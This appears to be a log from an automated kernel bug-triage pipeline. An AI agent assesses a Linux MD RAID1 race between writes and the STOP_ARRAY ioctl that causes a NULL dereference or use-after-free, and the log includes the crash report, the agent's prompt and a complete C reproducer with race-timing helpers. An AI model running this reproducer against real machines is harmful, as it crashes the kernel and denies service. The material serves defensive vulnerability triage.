| 0/0 |
2026/08/26 10:29 |
flow |
assessment-security |
23m
Results: map[DenialOfService:true Explanation:I have analyzed the bug report and the provided source code.
### Bug Mechanism
The bug is a race condition between an incoming I/O request (`pwrite64`) and the
`STOP_ARRAY` ioctl on an MD RAID1 device.
1. **Thread 1 (I/O):**
- Submits a bio to the MD device via `pwrite64`.
- The bio reaches `md_handle_request()`. It gets an active I/O reference
(`percpu_ref_tryget_live(&mddev->active_io)`).
- It calls `mddev->pers->make_request(mddev, bio)`, which resolves to
`raid1_make_request()`.
- `raid1_make_request()` calls `raid1_write_request()`.
- `raid1_write_request()` reads `struct r1conf *conf = mddev->private;` and
passes it to `wait_barrier(conf, sector)`.
- `wait_barrier()` calls `_wait_barrier(conf, idx)`, which attempts to
increment `conf->nr_pending[idx]`.
2. **Thread 2 (STOP_ARRAY ioctl):**
- Calls `ioctl(md_fd, STOP_ARRAY, 0)`.
- `md_ioctl()` handles `STOP_ARRAY`. It checks `capable(CAP_SYS_ADMIN)` and
then calls `mddev_lock(mddev)`. Note that `STOP_ARRAY` does **not** suspend
I/O (`md_ioctl_need_suspend(STOP_ARRAY)` returns false, so it doesn't call
`mddev_suspend_and_lock()`).
- It calls `do_md_stop(mddev, 0)`.
- `do_md_stop()` calls `__md_stop_writes(mddev)` and then `__md_stop(mddev)`.
- `__md_stop()` calls `mddev_detach(mddev)`, which flushes some things but
doesn't wait for `mddev->active_io` to drop to zero (unlike
`mddev_suspend()`).
- `__md_stop()` then frees `mddev->private` by calling `pers->free(mddev,
mddev->private)` (which is `raid1_free()`, freeing the `conf` structure) and
sets `mddev->private = NULL`.
If Thread 1 reads `mddev->private` exactly after Thread 2 sets it to `NULL`,
Thread 1 will pass `NULL` to `wait_barrier()`, resulting in a NULL pointer
dereference when accessing `conf->nr_pending` (offset 0x120). This matches the
crash report (`KASAN: null-ptr-deref in range
[0x0000000000000120-0x0000000000000127]`).
If Thread 1 reads `mddev->private` before Thread 2 frees it, but accesses it
after it is freed, it results in a Use-After-Free (UAF).
### Security Assessment
1. **Exploitability:**
- The crash manifests as a NULL pointer dereference, which typically causes a
kernel panic (Denial of Service).
- However, because `mddev->private` points to a dynamically allocated
structure (`struct r1conf`) that is freed via `kfree()` during `__md_stop()`,
there is a race window where the pointer is read before it is set to `NULL`,
but dereferenced after the memory has been freed. This constitutes a
Use-After-Free (UAF) vulnerability.
- UAF vulnerabilities in the kernel are generally considered exploitable for
privilege escalation or memory corruption, assuming an attacker can control
the timing and reallocate the freed memory. Thus, it is marked as
Exploitable.
2. **Denial of Service:**
- Triggering the bug reliably crashes the kernel (General Protection Fault /
NULL pointer dereference panic), leading to a complete Denial of Service.
3. **Accessibility (Unprivileged / User Namespaces):**
- The `STOP_ARRAY` ioctl is protected by `md_ioctl_valid()`, which explicitly
checks `capable(CAP_SYS_ADMIN)`.
- The `capable()` function checks for the capability in the initial user
namespace, not the current user namespace (which would be `ns_capable()`).
- Therefore, an unprivileged user cannot trigger this bug, even if they
create a new user namespace. Root privileges in the initial namespace are
required to issue the `STOP_ARRAY` ioctl.
4. **Other Triggers (Network, Peripheral, Filesystem, VM Guest/Host):**
- The bug is located in the MD RAID management code. It requires local access
to the block device and the ability to issue specific ioctls (`STOP_ARRAY`).
- It cannot be triggered remotely via network packets, by plugging in a
peripheral, by mounting a malicious filesystem, or from a VM guest (unless
the guest is explicitly given raw access to the host's MD device and
privileges, which is not a standard or secure configuration).
### Conclusion
The bug is a Use-After-Free / NULL pointer dereference in the MD RAID subsystem
caused by a race condition between I/O requests and the `STOP_ARRAY` ioctl.
While it is technically exploitable (UAF) and causes a Denial of Service, it is
not accessible to unprivileged users or from within user namespaces, as it
requires `CAP_SYS_ADMIN` in the initial namespace to trigger the necessary
ioctl. Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:false]
|
| 1/1 |
2026/08/26 10:29 |
action |
syz-repro-to-c-repro |
0m
Results: map[SimplifiedCRepro:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>
#include <linux/major.h>
#include <linux/raid/md_u.h>
#include <linux/raid/md_p.h>
#include <linux/loop.h>
#include <pthread.h>
#include <errno.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
int md_fd;
volatile int stop = 0;
char *buf;
void *write_thread(void *arg) {
PIN_TO_CPU(1);
while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
/* Submit bios concurrently with STOP_ARRAY */
pwrite(md_fd, buf, 4096, 0);
}
return NULL;
}
int main(void) {
SETUP_UNBUFFERED_IO();
PIN_TO_CPU(0);
/* O_DIRECT requires aligned memory buffers */
if (posix_memalign((void **)&buf, 4096, 4096) != 0) {
printf("[-] Failed to posix_memalign: %s\n", strerror(errno));
exit(1);
}
memset(buf, 0, 4096);
printf("[+] posix_memalign successful.\n");
char temp_path[] = "/tmp/loop_backing_XXXXXX";
int file_fd = mkstemp(temp_path);
if (file_fd < 0) {
printf("[-] Failed to mkstemp: %s\n", strerror(errno));
exit(1);
}
unlink(temp_path);
printf("[+] mkstemp successful.\n");
if (ftruncate(file_fd, 1024 * 1024) < 0) {
printf("[-] Failed to ftruncate: %s\n", strerror(errno));
exit(1);
}
printf("[+] ftruncate successful.\n");
int control_fd = open("/dev/loop-control", O_RDWR);
if (control_fd < 0) {
printf("[-] Failed to open /dev/loop-control: %s\n", strerror(errno));
exit(1);
}
int dev_num = ioctl(control_fd, LOOP_CTL_GET_FREE, 0);
close(control_fd);
if (dev_num < 0) {
printf("[-] Failed to ioctl LOOP_CTL_GET_FREE: %s\n", strerror(errno));
exit(1);
}
printf("[+] ioctl LOOP_CTL_GET_FREE successful, dev_num=%d.\n", dev_num);
char loop_path[64];
snprintf(loop_path, sizeof(loop_path), "/dev/loop%d", dev_num);
int loop_fd = open(loop_path, O_RDWR);
if (loop_fd < 0) {
printf("[-] Failed to open %s: %s\n", loop_path, strerror(errno));
exit(1);
}
if (ioctl(loop_fd, LOOP_SET_FD, file_fd) < 0) {
printf("[-] Failed to ioctl LOOP_SET_FD: %s\n", strerror(errno));
exit(1);
}
printf("[+] loop device setup successful.\n");
/* Create and open the MD device node with O_DIRECT to bypass page cache */
unlink("/dev/md142");
if (mknod("/dev/md142", S_IFBLK | 0600, makedev(9, 142)) < 0) {
if (errno != EEXIST) {
printf("[-] Failed to mknod /dev/md142: %s\n", strerror(errno));
exit(1);
}
}
printf("[+] mknod /dev/md142 successful.\n");
md_fd = open("/dev/md142", O_RDWR | O_DIRECT);
if (md_fd < 0) {
printf("[-] Failed to open /dev/md142: %s\n", strerror(errno));
exit(1);
}
printf("[+] open /dev/md142 successful.\n");
struct stat st;
if (stat(loop_path, &st) < 0) {
printf("[-] Failed to stat %s: %s\n", loop_path, strerror(errno));
exit(1);
}
printf("[+] stat successful.\n");
pthread_t th;
if (pthread_create(&th, NULL, write_thread, NULL) != 0) {
printf("[-] Failed to pthread_create: %s\n", strerror(errno));
exit(1);
}
printf("[+] pthread_create successful.\n");
printf("Starting race loop. The kernel should crash shortly...\n");
TIMER_START(start);
while (TIMER_NOT_EXPIRED(start, 10.0)) {
mdu_array_info_t array_info;
memset(&array_info, 0, sizeof(array_info));
array_info.level = 1; /* RAID1 */
array_info.size = 1024;
array_info.nr_disks = 1;
array_info.raid_disks = 1;
array_info.md_minor = 142;
array_info.not_persistent = 1;
if (ioctl(md_fd, SET_ARRAY_INFO, &array_info) < 0) {
ioctl(md_fd, STOP_ARRAY, 0);
continue;
}
mdu_disk_info_t disk_info;
memset(&disk_info, 0, sizeof(disk_info));
disk_info.number = 0;
disk_info.major = major(st.st_rdev);
disk_info.minor = minor(st.st_rdev);
disk_info.raid_disk = 0;
disk_info.state = (1 << MD_DISK_ACTIVE) | (1 << MD_DISK_SYNC);
if (ioctl(md_fd, ADD_NEW_DISK, &disk_info) < 0) {
ioctl(md_fd, STOP_ARRAY, 0);
continue;
}
mdu_param_t param;
memset(¶m, 0, sizeof(param));
if (ioctl(md_fd, RUN_ARRAY, ¶m) < 0) {
ioctl(md_fd, STOP_ARRAY, 0);
continue;
}
/* Trigger the teardown race */
ioctl(md_fd, STOP_ARRAY, 0);
}
__atomic_store_n(&stop, 1, __ATOMIC_RELEASE);
pthread_join(th, NULL);
close(md_fd);
ioctl(loop_fd, LOOP_CLR_FD, 0);
close(loop_fd);
close(file_fd);
printf("[+] Race loop finished without crashing.\n");
return 0;
}]
|
| 2/1 |
2026/08/26 10:29 |
action |
kernel-checkouter |
0m
Results: map[KernelSrc:/app/workdir/cache/src/d3e5e845ea1e86991b96377ebe5c58374353a72c]
|
| 3/1 |
2026/08/26 10:29 |
action |
kernel-builder |
0m
Results: map[KernelObj:/app/workdir/cache/build/87aaa677bb09399630dfb39dc4dfd962f565d50c]
|
| 4/1 |
2026/08/26 10:29 |
action |
codesearch-prepare |
0m
Results: map[Index:codesearch-index]
|
| 5/1 |
2026/08/26 10:30 |
agent |
expert |
22m
Model:
Results: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:false]
Instruction: You are an experienced Linux kernel security engineer. Your task is to analyze given kernel bug report
and determine its security impact based on the following dimensions.
Use the provided tools to examine the source code, check for capability checks (e.g., capable(), ns_capable()),
and understand the nature of the bug. Analyze the given kernel build and configuration.
You can check the kernel config by grepping ".config" file; you can check kernel cmdline by grepping
".config" file for "CONFIG_CMDLINE=". Assume sysctl parameters have default values.
But analyze for the corresponding production build w/o debugging tools enabled (like KASAN, KMSAN, UBSAN).
Try different strategies when analyzing the bug:
- think of ways in which the vulnerable code is unreachable
- or the other way around: try to come up with different ideas of how an unprivileged user can reach the bug
If still unsure err on the side of the bug being non-exploitable/not-accessible.
In the final reply, provide a reasoning for your assessment.
Analysis dimensions:
* Exploitable:
Determine if the bug can result in memory corruption, elevated privileges, or an information leak.
Memory safety issues are almost always exploitable (KASAN or UBSAN reports for use-after-free, out-of-bounds;
refcounting issues, corrupted lists, etc). When kernel is crashing on a completely wild pointer access
(e.g. user-space address, or non-canonical address, but not on NULL or address corresponding to KASAN shadow
for NULL address), including both data accesses and control transfers, that also usually implies possibility
of exploitation. Such reports usually say "unable to handle kernel paging request".
Uses of uninitialized values detected by KMSAN may be exploitable b/c attacker frequently can affect uninit
values with spraying techniques. However, for these exploitability depends on how exactly the uninit value
is used in the code, and what it affects.
Information leaks are exploitable on their own and should be classified as such. A bug that copies kernel
memory contents to userspace (e.g. an out-of-bounds read whose result is returned to the caller, or
uninitialized stack/heap bytes written to a user buffer) is exploitable: it can reveal kernel pointer
values and defeat KASLR, expose sensitive data such as cryptographic keys or other processes' memory, and
serves as a necessary building block in most modern kernel privilege-escalation exploit chains. Do not classify
an information leak as non-exploitable solely because it does not directly cause a memory write or control-flow
hijack; the leak itself is the exploit primitive.
Think of what happens after the bug is triggered. Some bugs cause kernel panic and halt execution,
they are harder to exploit. For example, BUG reports halts the kernel. However, WARNING reports don't halt
execution in production builds. Debug bug detection tools (like KASAN, KMSAN, KCSAN, UBSAN) are also not enabled
in production builds, so attacker can freely exploit these bugs w/o being detected by these tools.
If you see an integer overflow, think how the overflowed value used later (if it's used as allocation size,
or an array index). If you see an out-of-bounds read, think if it's followed by an out-of-bounds write as well.
Some KCSAN data-races may be exploitable by skilled attackers as well. Think what data structures got corrupted
as the result of data races and how. However, note that kernel has lots of "benign" data races that don't lead
to any runtime misbehavior at all.
* Denial Of Service:
Determine if the bug can result in denial-of-service. Most bugs can, since they cause system crash,
hangs, deadlocks, or resource leaks. This is mostly applicable to WARNING bugs that won't cause system crash
in production. For these think what will be consequences of the violation of the kernel assumptions flagged
by the WARNING. In some cases the unexpected condition is also properly handled by the normal control flow
(e.g. with "if (WARN_ON(...))"), these won't cause denial-of-service. If the condition is not handled,
then it may or may not cause denial-of-service.
* Accessible From Unprivileged Processes:
Determine if the bug can be reached from a typical (non-root) user process that does NOT have any special capabilities
(like CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON) or access to device nodes restricted to root.
Assume that unprivileged_bpf_disabled=1, that is eBPF loading is not accessible. However, cBPF (classical BPF)
is still accessible to non-root processes.
Assume that user namespaces are not accessible, that is, the process cannot get the mentioned capabilities even
within a new user namespace (checked by ns_capable() function in the kernel sources).
* Accessible From User Namespaces:
Determine if the bug can be reached within a user-namespace where the process has all capabilities
(including CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON). Such capabilities are checked with ns_capable()
function in the kernel sources.
* VM Guest Trigger:
Determine if the bug can be triggered from the context of a typical KVM guest (e.g., set up by a QEMU VMM).
Consider accesses to standard Linux host paravirtualized features (virtio-blk, virtio-net, etc.),
and handling of VM exits in the KVM code.
* VM Host Trigger in The Confidential Computing Context:
Determine if the bug can be triggered in a confidential computing guest kernel from the context of a KVM host.
Consider access to standard Linux guest paravirtualized features (virtio-blk, virtio-net, etc.).
* Ethernet Network Trigger:
Determine if the bug can be triggered by processing ingress network Ethernet traffic, either directly (network stack)
or via drivers exposed to network data.
* Other Remote Trigger:
Determine if the bug can be triggered by processing remote traffic other than Ethernet (Wifi, Bluetooth, NFC, etc).
* Peripheral Trigger:
Determine if the bug can be triggered via an untrusted peripheral device that can be physically plugged
into a system, such as a USB device or a niche hardware driver handling external hardware inputs.
This is particularly important for mobile and desktop environments where users can plug in unknown devices.
* Malicious Filesystem Trigger:
Determine if the bug can be triggered by the kernel mounting and parsing a malicious filesystem image.
This is highly critical for Desktop and Mobile environments where external media or downloaded images
might be auto-mounted.
Don't make assumptions about the kernel source code (it may be different from what you assume it is).
Extensively use the provided code access tools (codesearch-*, git-*, grepper, etc)
to examine the actual source code, and confirm any assumptions.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt:
The kernel bug report is:
Oops: general protection fault, probably for non-canonical address 0xdffffc0000000024: 0000 [#1] SMP KASAN NOPTI
KASAN: null-ptr-deref in range [0x0000000000000120-0x0000000000000127]
CPU: 1 UID: 0 PID: 6010 Comm: syz-executor394 Not tainted syzkaller #0 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:_wait_barrier+0x8d/0x700 drivers/md/raid1.c:1066
Code: 08 00 00 00 f3 c7 40 0c f3 f3 f3 f3 65 48 8b 05 31 1e 0e 0c 48 89 84 24 d0 00 00 00 31 c0 e8 ea 3f 91 f9 48 89 e8 48 c1 e8 03 <42> 80 3c 20 00 0f 85 11 06 00 00 4c 8b a3 20 01 00 00 4a 8d 04 ad
RSP: 0018:ffffc90003487290 EFLAGS: 00010206
RAX: 0000000000000024 RBX: 0000000000000000 RCX: 0000000000000000
RDX: ffff888031924b00 RSI: ffffffff8879c1e6 RDI: 0000000000000000
RBP: 0000000000000120 R08: 0000000000000001 R09: 0000000000000000
R10: 0000000000000000 R11: ffffffff81d66229 R12: dffffc0000000000
R13: 0000000000000000 R14: ffff88802750c000 R15: ffffc900034879d0
FS: 00007fe51d1166c0(0000) GS:ffff8880d5ca2000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00005599d4a2eb80 CR3: 0000000035c6b000 CR4: 0000000000352ef0
Call Trace:
<TASK>
wait_barrier drivers/md/raid1.c:1154 [inline]
raid1_write_request drivers/md/raid1.c:1506 [inline]
raid1_make_request+0x484/0x31a0 drivers/md/raid1.c:1696
md_handle_request+0x824/0x1230 drivers/md/md.c:417
md_submit_bio+0x1e9/0x350 drivers/md/md.c:458
__submit_bio block/blk-core.c:681 [inline]
__submit_bio+0x20e/0x3d0 block/blk-core.c:670
__submit_bio_noacct block/blk-core.c:724 [inline]
submit_bio_noacct_nocheck+0x736/0xc00 block/blk-core.c:792
submit_bio_noacct+0xc93/0x2130 block/blk-core.c:925
bio_await+0x1fa/0x240 block/bio.c:1580
submit_bio_wait+0x19/0x60 block/bio.c:1598
__blkdev_direct_IO_simple+0x4cb/0x8c0 block/fops.c:98
blkdev_direct_IO+0xbee/0x2030 block/fops.c:429
blkdev_direct_write block/fops.c:699 [inline]
blkdev_write_iter+0x703/0xd30 block/fops.c:767
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x6af/0x1050 fs/read_write.c:687
ksys_pwrite64 fs/read_write.c:794 [inline]
__do_sys_pwrite64 fs/read_write.c:802 [inline]
__se_sys_pwrite64 fs/read_write.c:799 [inline]
__x64_sys_pwrite64+0x1eb/0x250 fs/read_write.c:799
do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
do_syscall_64+0x123/0x790 arch/x86/entry/syscall_64.c:84
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fe51d1735de
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fe51d116128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
RAX: ffffffffffffffda RBX: 00007fe51d1166c0 RCX: 00007fe51d1735de
RDX: 0000000000001000 RSI: 0000555588ed6000 RDI: 0000000000000005
RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000002 R14: 00007ffdb60faaa0 R15: 00007ffdb60fab88
</TASK>
Modules linked in:
---[ end trace 0000000000000000 ]---
RIP: 0010:_wait_barrier+0x8d/0x700 drivers/md/raid1.c:1066
Code: 08 00 00 00 f3 c7 40 0c f3 f3 f3 f3 65 48 8b 05 31 1e 0e 0c 48 89 84 24 d0 00 00 00 31 c0 e8 ea 3f 91 f9 48 89 e8 48 c1 e8 03 <42> 80 3c 20 00 0f 85 11 06 00 00 4c 8b a3 20 01 00 00 4a 8d 04 ad
RSP: 0018:ffffc90003487290 EFLAGS: 00010206
RAX: 0000000000000024 RBX: 0000000000000000 RCX: 0000000000000000
RDX: ffff888031924b00 RSI: ffffffff8879c1e6 RDI: 0000000000000000
RBP: 0000000000000120 R08: 0000000000000001 R09: 0000000000000000
R10: 0000000000000000 R11: ffffffff81d66229 R12: dffffc0000000000
R13: 0000000000000000 R14: ffff88802750c000 R15: ffffc900034879d0
FS: 00007fe51d1166c0(0000) GS:ffff8880d5ca2000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00005599d4a2eb80 CR3: 0000000035c6b000 CR4: 0000000000352ef0
----------------
Code disassembly (best guess):
0: 08 00 or %al,(%rax)
2: 00 00 add %al,(%rax)
4: f3 c7 40 0c f3 f3 f3 xrelease movl $0xf3f3f3f3,0xc(%rax)
b: f3
c: 65 48 8b 05 31 1e 0e mov %gs:0xc0e1e31(%rip),%rax # 0xc0e1e45
13: 0c
14: 48 89 84 24 d0 00 00 mov %rax,0xd0(%rsp)
1b: 00
1c: 31 c0 xor %eax,%eax
1e: e8 ea 3f 91 f9 call 0xf991400d
23: 48 89 e8 mov %rbp,%rax
26: 48 c1 e8 03 shr $0x3,%rax
* 2a: 42 80 3c 20 00 cmpb $0x0,(%rax,%r12,1) <-- trapping instruction
2f: 0f 85 11 06 00 00 jne 0x646
35: 4c 8b a3 20 01 00 00 mov 0x120(%rbx),%r12
3c: 4a rex.WX
3d: 8d .byte 0x8d
3e: 04 ad add $0xad,%al
It is reproducible with the followint program.
Keep in mind that it may lack the precise threading, sandboxing, and some arguments of a working reproducer.
But it should give an idea of the involved syscalls.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>
#include <linux/major.h>
#include <linux/raid/md_u.h>
#include <linux/raid/md_p.h>
#include <linux/loop.h>
#include <pthread.h>
#include <errno.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
int md_fd;
volatile int stop = 0;
char *buf;
void *write_thread(void *arg) {
PIN_TO_CPU(1);
while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
/* Submit bios concurrently with STOP_ARRAY */
pwrite(md_fd, buf, 4096, 0);
}
